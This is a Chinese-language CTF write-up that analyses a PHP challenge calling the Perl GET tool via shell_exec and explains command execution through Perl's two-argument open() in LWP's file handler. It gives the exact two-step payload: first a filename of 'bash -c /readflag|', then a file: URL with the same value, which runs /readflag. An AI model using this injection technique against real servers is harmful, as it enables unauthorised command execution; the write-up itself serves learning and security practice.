Perl中open命令执行

今天做题的时候遇到了一道挺神奇的题,也算是第一次wp都看的二懂二懂的题(,学习之路上还是记录一下。

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'这里是ip' <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}


echo $_SERVER["REMOTE_ADDR"];


$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);


$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

源码分析:

首先传入获取HTTP_X_FORWARDED_FOR的内容并以,分割为数组,取出首个值并输出,

即是我们看到的‘这里是ip’(不方便直接贴出来)。

然后创建了orange+ip的字符串的md5值为路径的文件夹并且将工作目录移动到该文件夹下。

接着通过escapeshellarg命令对get请求传参的内容进行GET命令执行 (即 GET xxxxxx)

后一段请求则是将get请求传入的filename的值记录为数组,这里顺便看一下pathinfo的定义

pathinfo

image-20221119201518027

image-20221119201549034

可以看到array内容的输出。

回到本题,将basename($info[“dirname”]中的.取出,并以此为路径创建文件夹并移动到对应工作目录中,最后进行一个写操作。流程都差不多了,看起来挺清晰的,那么这个GET,到底是什么东西呢?

GET命令

执行了GET /后看到,可以发现输出的类似于执行ls,但是格式是类似于html的格式

image-20221119203158630

执行GET ./文件名,发现可以读取文件。

img

那么我们构建如此的url,便可以执行相当于ls的效果

image-20221119204143927

image-20221119204218302

但是当我门读取flag的时候就会发现一片空白,而当我们读取readflag后,会自动下载文件,打开一看发现是ELF开头的二进制文件,说明我们要执行readflag来获取flag

image-20221119204432900

那么该怎么通过GET执行文件呢,我本来打算通过whereis GET的方式看看命令相关的内容,但没啥有帮助的信息,看别人wp说是在这里

/usr/share/perl5/LWP.pm下有相关内容,查看后发现

image-20221119205636543

GET命令是支持file请求的。

那我们再跟进,看看/usr/share/perl5/LWP/file.pm的内容是什么

OPEN方法

其中有读文件相关的内容,但是open文件以只读的形式打开文件

image-20221119210003441

然后就找不到更多的了,后来看别人说的是因为ubuntu18.04 已经修复此漏洞,导致这里多了个只读

修复前是这种:

1
2
3
4
5
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);

open函数使用,前提必须是目标文件存在才行

image-20221119211410718

所以我们要创建一个和我们要执行的命令相同的内容的文件名

解题

开始手操!

构造url: ?url=&filename=bash -c /readflag|

再执行url:?url=file:bash -c /readflag|&filename=Saihara

获得flag

image-20221119212146769